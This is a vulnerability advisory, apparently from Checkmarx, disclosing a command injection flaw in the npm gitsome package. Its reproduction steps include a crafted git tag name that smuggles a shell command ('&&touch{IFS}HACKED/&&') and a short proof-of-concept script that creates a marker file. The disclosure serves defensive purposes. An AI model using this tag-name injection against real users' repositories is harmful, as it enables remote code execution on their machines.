Command Injection Vulnerability In The Gitsome NPM Package

NODE NODEJS JAVASCRIPT NPM RCE TYPESCRIPT GIT TAGS

Adar Zandberg Apr 26, 2021

Details Overview

Summary

Affected versions of the NPM gitsome package are vulnerable to remote command injection. An attacker with control over the tag names of the target git repository may construct a malicious command using shell metacharacters which will then run on the local machine.

Product

All versions of Node.js gitsome.

Impact

This issue may lead to remote code execution if a client of the gitsome library initializes an unsupported git repository.

Steps To Reproduce

An attacker can create a new tag for the HEAD commit using shell metacharacters to construct am OS command like in the following repository:

```
https://github.com/Adar-Checkmarx/rce-via-tagname
```

(Tag name `&&touch{IFS}HACKED/&&`)
A gitsome user running the following code will be affected:

```
$ git clone "https://github.com/Adar-Checkmarx/rce-via-tagname"
```

poc.js:

```
const gitSome = require('gitsome')
const options = {path: '/Test', tag: true}
const gs = gitSome(options)
```

Expected Result:

A file named `HACKED` has been created.

Remediation

No fix is currently available. When using gitsome, make sure you initialize only trusted git repositories.

Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst Adar Zandberg.

Resources

1. gitsome on NPM